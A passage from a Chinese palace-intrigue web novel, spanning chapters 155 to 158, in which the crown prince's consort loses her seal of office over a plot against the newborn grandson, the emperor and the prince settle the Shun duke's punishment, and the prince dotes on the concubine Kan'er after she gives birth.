本朝就有先例。
更甚者有人和她的情况相似,靠民间暗售的回**躲过验身成功入宫获宠。
直至多年以后才被揭发。
且那女子是低贱的商户女!
最后这个商户女被处以极刑,但此女受宠半生,稳坐贵妃之位二十年,便已经值得让天下女子视为榜样了。
世人就是如此。
巨大的利益当前,哪怕清楚事发后不会有好下场,也要铤而走险放手一搏!
商户女都能躲过验身入宫坐上贵妃之位,一个国公府千金为何不行呢?
因为这样的想法,在爹娘想要赌一把的时候,郑明芷没有犹豫便答应了。
可惜她躲过了入宫验身,没躲过新婚当晚的太子,还被太子撞见了那等事。
但郑明芷很清楚。
事情发展到当时,太子根本没有退路。
他若在当时就把事情捅到元隆帝跟前,能废了她,可同时东宫也会受创。
世人和朝中多方势力不会在意太子是否为受屈方,他们只会见缝插针。
东宫将陷入各种流言蜚语之中。
且婚是元隆帝赐的,换句话说东宫的丑闻是元隆帝的失误失察造成的。
元隆帝会成为本朝史书上,第一个因赐婚而陷皇太子于秽乱不义之地的君父!
如此,太子也将被元隆帝迁怒。
罪名便是办事不力,不忠不孝,天家惯是如此,永远都是先君臣后父子。
郑明芷看得清楚,所以她才会在确定太子暂时不会废她之后,摆起了谱。
可现在,郑明芷意识到了太子能废她,也清楚地想起了自己身背欺君之罪。
郑明芷太怕了,僵在原地一动不动。
还是全仕财的突然出声猛地拉回了她的思绪:“太子妃见到陛下怎生不来问安?可是身子有何不适?”
郑明芷一个激灵。
回神正对上元隆帝那双犀利的眼睛,顾不得别的,她忙不迭膝行上前。
“儿臣妾、儿臣妾恭请父皇圣安。”
元隆帝双手负后。
视线在儿子儿媳身上扫了一下,抬步径直走向北面主位:“太子平身赐座。”
没让她起来……
郑明芷低着头,膝行回刚才的地方跪着。
元隆帝落座。
骆峋在其稍稍偏左下的位置坐下。
海顺撤下案几上的茶盏,重新替这对皇家最尊贵的父子奉上暖茶。
而随着元隆帝与太子相继坐下,两张相似的威严冷脸,相似的高大身形衬得本不小的殿内显得逼仄狭窄。
“说吧。”
元隆帝啜了口茶,道。
这种时候不需要太子开口,海顺站出来三言两语解释清楚来龙去脉。
元隆帝靠着椅背。
听完手掌在扶手上轻拍了两下。
第155章 削太子妃金印宝册!元隆帝:“准了。”
“太子妃身边的管事和顺国公府安插在宫中的眼线合计谋害朕的皇孙。
太子妃的陪嫁丫鬟设计暗害朕的皇孙,之后指认这两件事乃太子妃指使。
后经太子妃套出实言,指认实为陷害,是为向太子妃报家仇的手段。”
元隆帝轻描淡写地总述道。
连着两句“朕的皇孙”,郑明芷几乎窒息,庞嬷嬷的牙齿不受控地打着磕。
雁荷两眼一翻。
眼看着要厥过去,被一旁的小太监给踹了一脚,她一哆嗦又赶忙跪好。
海顺在心里擦把汗:“回陛下,是。”
郑明芷叩首:“儿臣妾治下无方,致使小皇孙险两度受害,恳请父皇降罪。”
“不急。”
元隆帝不管她。
瞥眼青槐,他看向太子:“此女为顺国公府安插在宫的眼线可查证为实?”
骆峋:“回父皇,其人有画押供状,儿臣已命人前往顺国公府核查为实。”
元隆帝颔颔首。
“老妇声称自己谋害皇孙一事与太子妃无关,可有证据证明其所言非虚?”
海顺双手呈上一张纸条。
元隆帝展开。
海顺:“此乃太子妃身边管事庞氏与眼线青槐暗中往来的信纸,青槐一时大意忘了销毁,奴才命人找出来了。”
庞嬷嬷的面前一滩汗水。
青槐面如死灰。
郑明芷又惧又恼又恨,心中连骂蠢货。
随即她就听海顺接着道:
“上头清楚有写‘事情万不能叫太子妃知情,太子妃若知必不准许’的字样。
奴才已叫人对比了信纸上的字迹与庞氏的字迹,确出自同一人之手。”
郑明芷额头触地,闭眼深深松一口气。
“庞氏做的这事顺国公府可知情?”元隆帝问。
骆峋:“查证确为不知。”
元隆帝便笑了一声:“主子没吩咐的事奴才倒办得勤,顺国公府的人教得不错。”
这明显是在说反话。
“奴婢知罪!奴婢知罪!”
庞嬷嬷不住地磕头,沉闷的撞击声一道比一道重。
青槐也磕着,郑明芷则继续请罪。
唯有霜云,自尽未遂逢元隆帝驾临,她胸腔原本积攒的那股气似乎消弭了。
只剩下哀莫大于心死。
整个人麻木地跪伏着,半个字也没说。
至于雁荷和嘉荣堂管炭的小发子两人,则早在元隆帝来之前就被吓得失声了。
元隆帝扫视了一圈殿内的情形,问太子:“事情明了,你打算如何处置?”
磕头的,请罪的霎时间鸦雀无声。
骆峋没看他们之中的任何一个人。
“庞氏谋害皇孙,罪同弑逆,按律以谋反大逆罪论,处凌迟,枭示亲属。
顺国公府眼线与其同罪,另其私通宫禁,窥探机密之罪,皆按本朝刑律处之。”
虽说早知是这么个结果,可真当亲耳听到,庞嬷嬷还是不可抑制地恐惧。
似乎已经看到了自己身上的肉被一片片生剐下来,看到了老伴儿跟子女儿孙们死无全尸地被扔到乱葬岗。
可她错了吗?
没有!
她生是顺国公府的人,死是顺国公府的鬼!
只要是为了主子好,为了主子,别说是把她生剐,砍了她一家子的脑袋。
就是诛九族她也甘愿!
如是想着,庞嬷嬷重新绷直脊背。
“那要替自家姊妹报仇的丫头?”元隆帝问。
骆峋:“纵背主有因,其所行之事也是为报私仇戕害皇孙,动摇国本,与庞氏同罪。”
霜云闭上眼。
泪水混着脸上的血在地上晕开。
重来一次她还是会这样选择。
她是奴才,也是人,十几年的忠心都换不到善待,那她宁愿背主**!
殿中落针可闻,临窗的紫铜青玉香炉之中香雾缭绕,熏得空气清冽恬适。
“当如此。”
座上的帝王点了头,又似考校功课般问太子:“顺国公府与太子妃你欲作何处置?”
“殿下……”
郑明芷嗫嗫。
从没有哪一刻像现在这样后悔明知自己有错在先,还不知天高地厚地顶撞太子,妄图拿元隆帝来压太子。
她为什么会觉得太子真就拿一个婚前失德欺君,婚后秽乱的妻子没辙呢?
她只是他手中的一颗棋子。
只要他愿意,他能一直拿这颗棋子挡住别人的进攻,他不愿意便可弃之。
“殿下,妾身……”
郑明芷想说自己知错了,想替顺国公府开脱,哪知刚开口太子看了她一眼。
那眼神与寻常无异。
寡冷漠然,满是高高在上的睥睨。
以往郑明芷最恨他这般,仿佛当她是阴沟里的污秽物,可此刻她只觉得骇然。
骆峋没理会郑明芷什么反应。
只淡淡地看着她。
“顺国公府虽对庞氏及太子妃的陪嫁丫鬟谋害皇孙一事不知情。
但庞氏三人皆为其家奴,顺国公府治家不严,纵仆行凶,当抄以家产,申饬降爵。
另在宫中安插眼线是为勾结内廷,私通宫禁,紊乱朝政,按律顺国公当斩。”
“父皇恕罪,殿下恕罪!”
郑明芷惨白着脸拼命摇头。
“殿下……殿下,我爹在宫里放了人,可他真的没有做对不起朝廷的事!
他都是为了我,为了我在宫里不被欺负……不是,没有人欺负妾身,我爹他只是一片拳拳爱女之心,求父皇开恩……”
拳拳爱女之心?
这话说出来怕是她自己都不信。
青槐早几年就被送进宫了,身份是假的,人际关系是假的,什么都是假的。
若非骆峋对产房的一众人一直留有戒心,在其中安插了典玺局的人和暗卫。
将此人先揪出来再查,兴许
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还不一定能这么精准地查清对方的来头。
而早几年骆峋年纪小,元隆帝根本没表现出要选哪家闺秀做太子妃的意思。
顺国公还能未卜先知?
说白了亘古亘今朝中但凡有点儿权势跟心思的,前朝后廷必定有他们的人。
所谓权势权臣,从来都不是哪一个人。
而是一群人。
顺国公府手里是没实权,可没实权不代表没野心,若不然在宫里放人作甚?
骆峋想处置顺国公,自然不是要对自己不利,也不仅仅是为了今晚这一件事。
而是前朝诸如顺国公这样的人不少,皇帝睁一只眼闭一只眼放任的且不提。
另外一部分,元隆帝一年前便有整顿之意。
但估计谁得了风声。
去年一年那些人都极为老实,倒是捏了一两个的错,可惜没到大动作的程度。
今晚之事牵涉太多,骆峋原就不打算遮掩,也要给生产不易的槛儿一个交代。
如今顺国公冒了头。
又触及了他的底线。
他自然要杀鸡儆猴。
只不过怎么杀,杀到什么程度。
就是要再权衡利弊的。
骆峋方才的说词是按律定的,但实际操作起来是个什么章程则要从长计议。
顺国公府就算被削了爵,其多年积存的底子也不会是谁想动便能动的。
以不腾出太子妃之位为掣肘标准,于东宫而言便造不成多少实质性的影响。
相反。
顺国公府家奴谋害皇孙为谋危国本,太子为彰法度固宗庙社稷大义灭亲。
实乃大德。
纵使有人想以“齐家不善”的罪名**太子,大德当前也翻不起风浪。
郑明芷暂时想不到这些。
庞嬷嬷之前一心替自家主子谋划,以为只要她把所有罪责都承担了。
主子和顺国公府就不会有多大的问题,岂料一听,她整个人如坠冰窖。
骆峋并不予以理会她们。
他起身,当着元隆帝的面从容跪下。
“太子妃未参与此两件事,但其驭下昏聩,管理失察,致奸奴弑嗣谋逆。”
“儿臣伏请父皇削其金印宝册,夺之东宫后宅掌理之权,协储齐家之权。”
“令其禁足思过,无诏不得出。”
“不,殿下……”
不是请旨废她,郑明芷松了一口气,可她也接受不了削她的太子妃印册。
明明……
太子两个多月前才许诺她,只要她不犯错,就不会允许任何人和她争权。
包括宋槛儿。
她分明没有犯错,犯错的不是她!
为什么要让她承担?
为什么要夺她的金印宝册!
郑明芷不甘不愿,要叩首哭求。
可惜不待她开口。
元隆帝那双与太子肖似的淡漠凤眸便睨向了她,轻描淡写地撂下两个字。
“准了。”
第156章 父与子,“今年要选秀。”
雁荷悔得肠子都青了。
却也知道如今说什么也没用,就是不知道望晴那边究竟是个什么情况。
如果望晴没动手,那太子为什么会查到和望晴有过往来的她?
如果望晴动了,那为什么今晚她没被带来审讯,难道因着她是宋昭训的人。
所以太子要保望晴吗?
这两个问题在雁荷脑海里盘旋,她犹豫要不要当着陛下的面扯出望晴。
望晴都把要害人的药草拿回主子跟前了都没事,她只是跟望晴多说了几句话而已,别的什么也没做。
怎么就要**呢?
雁荷怕死,也不平衡。
所以她想要不要把望晴扯出来。
反正死路一条她注定逃不过,也不用怕会不会得罪要包庇望晴的太子了。
雁荷想的倒是挺多。
然押她的人根本不给她机会,把人拽起来就堵了嘴,雷厉风行地将其带走了。
紧跟着霜云被带走。
没有不甘没有害怕,也没有对自己服侍了十几年的人半分复杂心绪。
霜云走得平平静静。
“主子……”
庞嬷嬷被押起来,泪眼婆娑地看着郑明芷,声音哽得仿佛破旧的老风箱。
郑明芷从元隆帝准了太子的请旨就雕塑也似地跪着,两眼空洞,双肩耷拉。
听到庞嬷嬷的声音,她僵着脖子看过去。
她的奶娘。
从她出生就陪着她的奶娘。
截止刚刚听太子请旨要夺了她的金印宝册,郑明芷对庞嬷嬷都是怨的。
甚至是恨的。
可也不知怎么,经过了手中的权确定被夺的崩溃,此时她再看庞嬷嬷。
第一感觉竟是……
她的奶娘什么时候这么老了?
明明在她的记忆里奶娘不过三十出头的妇人,面庞白皙,做事手脚麻利。
笑起来眼角有两条细纹,但并不影响她风韵犹存,时刻看起来清爽体面。
可现在她一头花白的头发,眼皮红肿,鼻翼两侧两条长长的纹路耷拉到嘴角。
像似眨眼间老了几十岁。
是了,奶娘确实老了。
今年满打满算五十,可是五十的人,有这么老吗?
元隆帝和太子都还在殿内坐着,她不能对一心为自己好的奶娘无动于衷。
那样太薄待恩亲了,有损她的贤名。
所以郑明芷哭了。
眼泪不受控地喷涌而出,如鲠在喉。
“奶娘……”
庞嬷嬷强扯起一抹笑。
“奴婢对不住您,连累了您与国公府,您别为奴婢哭,保重身子,奴婢且先归家了。”
说罢,她磕了一记头。
“奴婢庞氏拜别主子。”
郑明芷朝她伸手,手在空中抓了两下垂落了下来,庞嬷嬷被带走了。
有人走过来,“太子妃,请。”
郑明芷颤抖地呼出一口气,向上抹去眼泪,转身向元隆帝和太子告退。
人都走了。
元隆帝看向刚起身的儿子。
“早知你这边这么热闹,朕真的不会来。”
骆峋:“……”
骆峋拱手道:“劳父皇费心了。”
元隆帝点头,示意儿子坐。
骆峋便坐回位置。
几个宫人麻利地将地面上的泪痕血痕清理干净,再悄无声息地退出去。
又喝了一口茶。
元隆帝也没问要处置的人为何少了一个,只道:“你成婚刚满两年,不适宜休妻,还是你其实有意休妻?”
骆峋如实道:“儿子并未有休妻之意。”
“嗯,不打算继续在朕跟前装了?”元隆帝皮笑肉不笑地扯扯嘴角,问。
呃。
骆峋清咳了声,“父皇恕罪。”
元隆帝哼了哼。
“我恕什么罪,你没怪我给你指了门你不喜的婚,我还能逼你与人鹣鲽情深?”
骆峋:“……”
骆峋微垂眼帘:“儿子不敢。”
元隆帝:“你当然不敢,你们谁敢啊,我是你们爹,是皇帝,你们和我从来没有真心话,不敢有真心话。”
哎哟喂。
全仕财觉得自己真是老了。
怎么单听着这话就有种想抹泪的冲动呢?
他背过身去抹了抹眼角。
海顺瞅见了:“……”
骆峋真心不知父皇为何会此时驾临。
总不能是因着听说了他这边的喜讯,故而一时兴起来看孙子吧?
骆峋不觉得会是这样。
他第一次当爹,父皇又不是第一次当祖父。
除了皇长孙骆晔,底下其他孙儿孙女父皇可从没多少时间与兴致含饴弄孙。
还是说父皇看了他为槛儿请封侧妃的折子,不同意,故而来质问他的?
应该也不至于。
父皇日理万机,如何会为了一个区区侧妃的位置专门辛苦跑一趟东宫?
元隆帝一看儿子垂着眼不吭声,就知道他肯定心思不知道转到哪里去了。
元隆帝一梗。
莫名有些尴尬,也有些无可奈何。
早年他还没冷待东宫的时候,老六有礼归有礼,但偶尔还是会在他面前流露出几分少年人的稚气和心性。
毕竟宠了那么些年,相较于其他儿女们老六自然从小和他亲近得多。
会偶尔顶着那张小冰块儿脸冷不丁凑过来吓老子一跳,会去御花园打麻雀玩。
打完拿回来父子俩烤着吃。
父子俩一起过过招,看看书什么的。
那都是家常便饭。
但自打他表现出对东宫的疏离之态,老六便也好像一夜之间长大了。
待他这个父皇恭敬有加,亲近不足,和其他皇子公主没什么两样。
早两年元隆帝不觉得有什么。
因为心有猜忌防备,所以无时无刻不在想太子是不是在打什么鬼主意。
想他那么不爱笑,是不是源于对他这个老子的不满?是不是想早日取代老子?
又想太子不近女色。
后院的女人一只手数得过来,这是不是太子跟他老子对着干的一种方式?
想借这种方式来嘲讽他喜欢美人,爱在累了时去后宫妃嫔处松松乏?
总之那时他不信太子。
太子做什么他都有怀疑的理由。
然而自打万寿节得知老大老二老三为了斗,不惜把对他有仇的人安插在自己近前,元隆帝便忽觉有些累了。
他甚至懒得深究太子在当晚那桩事里起的什么作用,也不想继续猜忌了。
猜忌什么,怕什么?
皇帝也是人,是人就都会老,会死。
太子是他养大的,是他立的。
再猜忌来猜忌去的,他成什么了?
有什么意思?
横竖太子今后也会老会死。
元隆帝就是这么想通的。
所以这会儿瞅着儿子对自己这么恭敬疏远的态度,元隆帝心里不太是滋味。
但他也说不出什么软话,于是清了清嗓子道:“顺国公府你具体打算如何处置?”
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说起正事,骆峋当即敛起别的心思。
“按律顺国公勾结内廷当斩无疑,但其为开国公爵位,持太祖赐丹书铁券。
非起兵谋逆者罪止于削爵。
若强行斩杀,于父皇与儿臣无益。”
元隆帝颔颔首,示意继续。
骆峋:“儿臣以为,可留顺国公郑怀清一命保全顺国公府开国勋贵体面。
但要着他致仕,退位荣养,世子郑明毅降爵继位,顺国公府抄没三成家产。
两成归国库,剩一成分三用,一用于修史,二用于官吏补贴,三用于经筵学术。”
元隆帝就觉得,儿子真的像他。
不单外形像,行事手段也像了他十成十,他当年就使了一招拿赃款设养廉银。
在当时抑制了部分贪墨现象,让那群动辄啰里八嗦的文官闭了嘴,拿捏朝局。
又让自己得了名。
关键这钱拿出来确实为朝廷办了实事。
顺国公府有钱啊。
开国至今两百余年,朝廷每年拿五千石岁禄养他们一家子,折银三千两。
关键他们家还有三万亩地,上百个庄子呢,这些一年到头又得收多少租?
往国库塞银子元隆帝喜欢。
朝廷那一帮子文官拿了钱,便也不能就今晚这桩由顺国公府家奴闹出的事揪着东宫、太子以及太子妃不放了。
还能趁机肃清一波把手伸太长的。
可谓一举数得。
骆峋见父皇沉吟,还当自己的手段过于周全,进而对他再度心生猜忌。
不过,骆峋并没有因此就装傻充愣,只沉默片刻后问:“父皇以为如何?”
元隆帝抚须:“就照你的意思办,过两天再在朝会上议此事,你便这么说。”
骆峋应下。
元隆帝想了想。
“不管你与郑氏有何矛盾,眼下不休妻是对的,今年要选秀,给老**九赐婚。
信王世子十八了,该把婚事定下来。
不少人有意将女儿送进宫,早有人在猜了,东宫的两个侧妃位是不是就等着留给高墉、孙翰堂家的女儿。”
骆峋不显地蹙蹙眉。
“儿臣已有一侧妃人选。”
元隆帝:“知道,看过你的折子了。”
“那父皇的意思……”
元隆帝瞪他,“急什么?你见过谁刚生完就晋位的?至少也要等百日。”
骆峋没觉得失望,横竖父皇会同意。
不提这茬。
“父皇,另有事恐需您决断。”
海顺便站出来将何婆子暗害皇孙的事说了,又说了审问出谁是幕后主使。
元隆帝脸沉了沉。
旋即道:“此事你不管,朕来处理。”
骆峋应好。
元隆帝确实是一时兴起过来的,半路才想起他来了暂时也见不着孙子。
但来都来了,他就来看儿子了。
眼见话说得差不多。
元隆帝对全仕财使个眼色。
全仕财朝外喊一声,立马几个小太监捧着一个个盖着红绸的托盘进来。
元隆帝:“照例赐赏,给你那妾的。”
孙儿孙女出生他都会按制赐赏,通常全仕财把事办得好,他盖印下旨便好。
但今儿他心情好,就顺路带过来了。
骆峋郑重谢恩。
元隆帝摆摆手,走了。
站在东宫门前目送御驾走远,骆峋问:“几时了?”
海顺:“卯时过半。”
骆峋在原地站了片刻,“去永煦院。”
第157章 太子爷陪睡,曜哥儿:“哼呜……咕。”
槛儿一觉睡到了午时,是被涨醒的。
迷迷糊糊间,她闭着眼本能地抬起手揉了揉胸口,期间不适地吸了两口气。
刚要吸第三口,旁边响起男人清冷的声音。
“如何不适?”
槛儿动作一顿,晃神地睁眼扭头。
产房早收拾得焕然一新。
临窗靠墙角处的乌木香几上摆着一个精巧的白玉镂空小香炉,炉中正熏着由太医改良后的鹅梨帐中香。
空气中一丝血腥味也无,只余令人宁神静心,近似雨后湿润清幽的木质香。
槛儿这几天要暂时在产房休养,大概七天过后再到正房的东暖阁坐月子。
产床在收拾产房时便挪出去了,槛儿这会儿睡的是铺了厚褥子的暖榻。
约莫宽七尺,长八尺,她睡在正中间。
而此时槛儿一扭头,就见太子双手交叠在腹部,挨着她旁边躺得板板正正。
头倒是侧着。
那双深邃幽冷的眸子正目不转睛地盯着她。
槛儿眨眨眼。
又环视了一圈屋中陈设。
确定是产房无疑,她不禁惊讶道:“殿下,您怎么睡这儿来了?这榻这么小……”
太子的另一侧小半边身子都悬空了,榻尾那头一双脚也伸到了外面!
这么憋屈,能睡得着吗?
尤其还只盖了一床薄被。
还是说太子只是单纯躺在这边陪她?
槛儿诧异,嘴上也问了一半出来:“您是刚过来,还是也在这边歇息啊?”
骆峋抬手替她别了别额前的头发,面无表情道:“你睡了多久孤也睡了多久。”
“在这儿睡的?”
“嗯。”
“您盖的被子这么薄,怎么能这么睡,万一受寒了!”
槛儿是真吃了一惊。
想不到太子居然会在这里陪她睡。
就算这辈子他们都变了不少,可太子的性情未免和上辈子出入太大了。
不论是觉得她生产不易,想通过这样的方式安抚她,还是因着看重孩子的关系,对她也比从前愈发重视。
太子的行举都出乎了槛儿的意料,俨然超出了男人正常宠爱侍妾的范畴。
当然,上辈子的太子和庆昭帝也够宠她,只是他们多数时候还是恪守礼教。
庆昭帝偶尔对她有些贴心的举动,在槛儿看来也是因为那时他们处得够久。
情分到位了。
所以他体贴她,槛儿便也自然地受下了,而现在太子和她相处还不到一年呢。
按说目前他们之间的情分,还远远不至于像上辈子后期那样到位才对。
太子却对她如此体贴。
为啥?
问题冒出来,再去看那双熟悉的眸子,槛儿的心跳不受控地加快了几拍。
像紧张,又像似别的。
“想什么?”
骆峋半撑起侧身,一条腿支起。
槛儿抚了一下心口。
怀疑是不是涨奶压到心口了,旋即手从被子里伸出来,揪住太子的衣摆。
“想您也不嫌挤得慌,这么小的榻哪能睡两个人,又冷,您肯定没歇好。”
骆峋不信她刚刚想的是这个,也大致猜到她可能想了什么,他不禁默了一下。
随即握住槛儿的手,“歇好了,屋中暖和。”
说罢,没再继续这个话题。
“看你方才似有不适,可要请太医?”
经他一提,槛儿重新转移了注意力。
胸口涨得慌,倒是不疼。
“不用找太医,让周嬷嬷来就好了。”
刚刚槛儿揉的时候手在被子里,骆峋也是刚醒,只知道她似乎不适,却一时没明白过来她怎么个不适。
此时见槛儿稍显不自在。
骆峋很有分寸地没多问,摇摇床头的金铃,等周嬷嬷她们进来他便出去了。
宋昭训刚生产完,太子就在产房陪着睡。
早上那会儿刚知道太子有这意思的时候,周嬷嬷原是想劝阻来着。
宋昭训生产前后太子进产房探望也就罢,那时候生产的人确实需要安抚。
破例就破例吧。
可产后陪着一起睡算怎么个事儿?
历来就没有这样的。
就算没人敢把主子们这样的私密事往外传,可这未免也太不合礼数了嘛。
周嬷嬷被骇得不轻。
可惜她虽有规劝之责,却到底做不了太子的主,太子一个眼神周嬷嬷就怂了。
怂过之后就剩感慨了。
这人的命呐,真说不准。
有那一辈子累死累活的,从嫁了人起肚皮就没歇过,可惜**闯鬼门关**婆家跟男人都只顾孩子不顾娘。
又不是多了不起的家庭,偏一个个跟那烂了心肺的地主老财似的,不把女人当人。
反倒是家里有皇位要继承的,一个侍妾生产,本人都能得太子如此看重。
得知槛儿胸口涨,周嬷嬷不敢怠慢。
当即拿温热的棉布替槛儿敷了半刻钟,随后拿宫中特有的精妙手法按摩起来。
槛儿舒坦了,奶水也下来了。
寒酥知道主子这两天打算喂小皇孙,见状去了暖阁叫奶娘把小皇孙抱过来。
槛儿还不太能坐起来。
就在瑛姑姑她们的搀扶下垫着靠枕半躺到床头,从奶娘手中接过襁褓。
小家伙睡得香喷喷,皮子粉红红像似吹弹可破,眉毛跟睫毛都还淡淡的。
整体上还不好辨别出像谁,只眼尾线条稍微能看出一点点细长上扬的弧度。
这一点倒有点像太子。
槛儿装出第一次当娘的模样,动作生疏地抱着,目不转睛地看了会儿。
嗯……
单从出生时间来看和曜哥儿是同一天,但看模样不太能确定是不是曜哥儿。
四十多年,槛儿还真记不起曜哥儿婴孩时期什么样了,不过她也没纠结。
左右迟早都能知道的事。
曜哥儿在娘胎里就是睡的多醒的少,加之刚生出来闹了一出不小的动静。
小家伙委实累极也困极。
所以从出生到现在一直睡着,中间奶娘喂过两
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次他也没醒,只遵循身体的本能。
这会儿也是如此。
曜哥儿昏昏沉沉地翕动着小嘴儿,没多会儿感觉肚子饱了,他便侧过了头。
原是要继续睡过去的。
哪知隐隐听到了尤为熟悉的声音:“这就不吃了?这么几口,会不会没吃饱?”
“小主子刚出娘胎呢,肚子就这么大点儿,几口就够了,您放心吧饿不着的。”
“剩下的怎么办?”
“有特制的温奶盉,搁里头能保温。”
曜哥儿认出娘的声音。
知道自己出来了,能感觉到外面的光线,于是他强撑着精神努力睁开眼。
本是想看看娘的,谁知入目一片雪白。
曜哥儿的思维还有些迟钝。
等反应过来是什么,再加之嘴里的味儿,他只觉小脑袋里炸开了一道雷!
要知道曜哥儿可是思维远超常小孩的,他变成魂魄跟了娘和父王几十年,对宫规和世俗礼教可是再熟悉不过。
虽然很多他不能明白,可曜哥儿知道他死的时候都四岁了,是大小孩了。
他都这么大了。
居然还让娘喂他奶,关键他刚刚还吃了!
也不是。
他现在身子太小,确实需要吃奶。
可问题是不能这样吃啊!
入闺必俯,不视非礼。
自己怎么能对娘如此失礼,这要他今后长大了怎么面对娘,怎么面对父王?!
一时羞愧交加,身体本能地就要哭。
被曜哥儿及时给忍住了,可惜他能忍住不哭,却忍不住羞臊的热气往身上爬。
于是槛儿看到小家伙睁眼,刚想逗两句。
哪知没来得及开口。
便见本就粉粉嫩嫩的小人儿一张小脸先是呆滞,随即以肉眼可见的速度“刷”一下子涨得跟那煮熟的虾也似。
槛儿一怔,还当是儿子要憋劲儿拉臭。
她现在不方便,于是忙把襁褓递出去,“快让奶娘看看,是不是要拉了。”
曜哥儿一听娘误会他要拉。
更是又羞又窘,小脸再度红了个透的同时稚嫩的眼角不受控地泛起湿意。
只他现下还出不了什么眼泪。
于是当骆峋得知宋昭训已经方便,他便叫人带上帝后的赏赐去产房时,在厅堂恰逢奶娘抱着小皇孙回暖阁。
奶娘见礼。
骆峋往襁褓里一瞧,只见儿子小脸通红,双目却是紧闭,一副含冤受屈之态。
含冤受屈?
骆峋险被心里冒出的这个念头逗笑,不过他还是问了一句:“怎么回事?”
奶娘恭敬道:“回殿下,小主子许是想出恭。”
他不是想出恭!
曜哥儿看向父王,结果看不清,眼睛没长好,只看到父王的一个轮廓。
“哼呜……咕。”
儿子看向自己,喉咙里发出细小的咕噜声,当爹的听不懂他要表达什么。
拿手背轻探了下他的脸。
“请太医来看看。”
曜哥儿闭上眼,老成地叹口气。
第158章 太子的产后礼,克制住不亲她!
槛儿现今位份还没晋上去,但诞育皇孙有功,元隆帝按制赐的赏也不算少。
单布料就有两张紫貂皮,一张青肷皮,两匹四合如意天华锦,三匹松江飞花夹棉布和二十尺福州贡品建绒。
另有首饰双鸾衔珠金步摇一对,重五两的金累丝嵌白玉麒麟送子长命锁并耳坠子、戒指、手镯什么的。
此外还有各种摆件、补品。
槛儿不至于眼皮子浅到被这么些东西迷花眼的地步,但凡事沾上“御赐”,就格外让人有种天恩浩荡的殊荣。
当着太子的面,槛儿不方便起来谢恩,就郑重其事地拍了元隆帝一通龙屁。
裴皇后的赏赐也是按制来的,只不过相较于元隆帝的,人情味儿要足些。
就是在不逾制的前提下多一些,槛儿自也是由衷地谢了恩,拍了一通凤屁。
刚拍完,见太子盯着她。
槛儿正要疑惑他什么意思。
太子忽地收回了目光,朝海顺侧了侧首。
后者手上也不知何时多了个紫檀嵌青玉的匣子,见状笑盈盈地上前呈给槛儿。
槛儿狐疑地接过,打开。
只见匣子里放着一支金灿灿的金累丝嵌蓝红宝蝶恋芍药的步摇。
两大朵精巧繁复的芍药叠在一起,花瓣层层叠叠,其中一朵花蕊嵌着龙眼大小的红宝石,另一朵嵌着蓝宝石。
周围以几颗小宝石点缀。
上方的那朵芍药靠近花蕊处停着一只蝴蝶,翅膀纤薄剔透,随着槛儿拿起步摇的动作微微晃动似振翅欲飞。
下方流苏豆粒大小的珍珠和红宝石交错串着,摆动间发出的声音悦耳动听。
整支步摇可谓繁复精巧至极。
饶是槛儿上辈子见过不少好物,此时也禁不住一眼便爱上了这支步摇。
“殿下,这是……”
她两眼放光地看向太子。
骆峋对上她清亮灼灼的眸光,心间仿若被烫了一下,所幸他面上稳得住。
“喜欢?”
太子爷神情寡淡地问。
“喜欢!”
槛儿点头,高兴之余坐了起来,不小心牵动了一下身子致使她倒吸凉气。
骆峋按住她,目露不赞许。
“你庄重些。”
槛儿眉眼弯弯,“这也是陛下赏的吗?”
太子爷蹙了一下眉:“孤的。”
顿了顿不待槛儿应声,他补充道:“此物作礼,其他赏赐洗三日之后给你。”
槛儿就错愕了。
“这步摇够贵重了……”
骆峋:“礼与赏不同。”
前者赠,后者赐。
槛儿懂了。
拿在手里的步摇不知怎么似乎烫了起来,热意顺着指尖不期然爬到她的脸颊。
她瞄眼太子,复又低头看步摇。
骆峋坐在榻前。
见她螓首微垂,琼鼻俏挺,面颊浮红,低垂的眼睫随其眨眼的动作轻颤。
骆峋只觉心口处似有何要溢出来,他不由微抿了下薄唇,捏捏她的指尖。
槛儿看他。
骆峋克制住没有亲她。
淡然道:“先用膳,用完膳与你说事。”
槛儿可没忘之前在产房发生的事,闻言心思顿时被带偏了,刚好午膳也来了。
槛儿便将步摇收起来。
骆峋则移步去了堂间用膳。
宋昭训这三天都要以流食为主,今天的午膳只有红枣桂圆粥并生化汤和清炒豆芽。
太子爷就不在这儿馋她了。
用罢膳,骆峋再度过来时屏退了屋中的宫人,只留瑛姑姑和海顺在跟前伺候。
海顺先三言两语说清了郑明芷、庞嬷嬷和霜云三人之间的来龙去脉。
得知是庞嬷嬷想要害自己,而郑氏在整件事中无关,槛儿并没有感到意外。
其实她也早想到了。
郑氏起初想让她代生子,但又瞧不起她,变着法子要拿捏她不想她得宠。
究其原因郑氏怕她得宠之后再生别的孩子,进而威胁到她太子妃的位置。
槛儿相信。
若太子在她生产之前没跟郑氏提及,要让她把孩子养在自己身边这件事。
那么郑氏便极有可能会为了防止她今后得宠,在关键时候选择去母留子。
亦或者太子提前同郑氏说了这件事,但没有用后宅的掌理权来安抚郑氏。
那么郑氏就算不会趁她生产之际暗中动手脚,过后也会寻机下狠手。
然而事实是。
太子不仅提前与郑氏说了这件事,还拿郑氏最想要的东西安了对方的心。
这种情况下郑氏就算再不想看她平安生产,也绝不可能在短期内轻举妄动。
除非真是傻透了。
才会前脚太子许诺了好处,后脚她就迫不及待要把这个好处给作没了。
当然,槛儿对郑氏的了解也仅来源于她们之间曾经相处时的经验之谈。
对于郑氏私下里当着太子的面是何性情,槛儿就做不到那么清楚了。
而庞嬷嬷会擅自做主替郑氏暗害她,倒是在槛儿所认知的情理之中。
上辈子庞嬷嬷就很忠于郑氏,宁死都不招供任何不利于她家主子的事。
可惜,这回坏也坏在她太为她家主子着想。
就是霜云反咬郑氏,出乎了槛儿的意料。
不过这辈子很多事都和上辈子的发展不一样了,槛儿便没在这事上多纠结。
“太子妃那边……”
骆峋这会儿在他之前陪槛儿睡觉的位置靠坐着,右腿支起,手搁在膝上。
左手揽在槛儿的肩头,姿态随性地沉吟着。
他和槛儿日常相处鲜
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少有提及太子妃的时候,这跟忌宠妾压妻的规矩有关。
时下宠妾灭妻,纵妾犯妻是重罪。
是家族败亡之兆。
妾不得说主母的是非,男人亦不得纵妾议论主母亦或者与其一同议论。
骆峋重规矩,槛儿也安守本分。
即便偶尔有会牵扯到郑明芷的话题,除非必要,否则两人都会有意避开。
如今庞嬷嬷和霜云出于她们各自对郑明芷的私心,变着法子对孩子下手。
接下来她们被怎么处置,槛儿作为孩子生母当然有知晓这一切的资格。
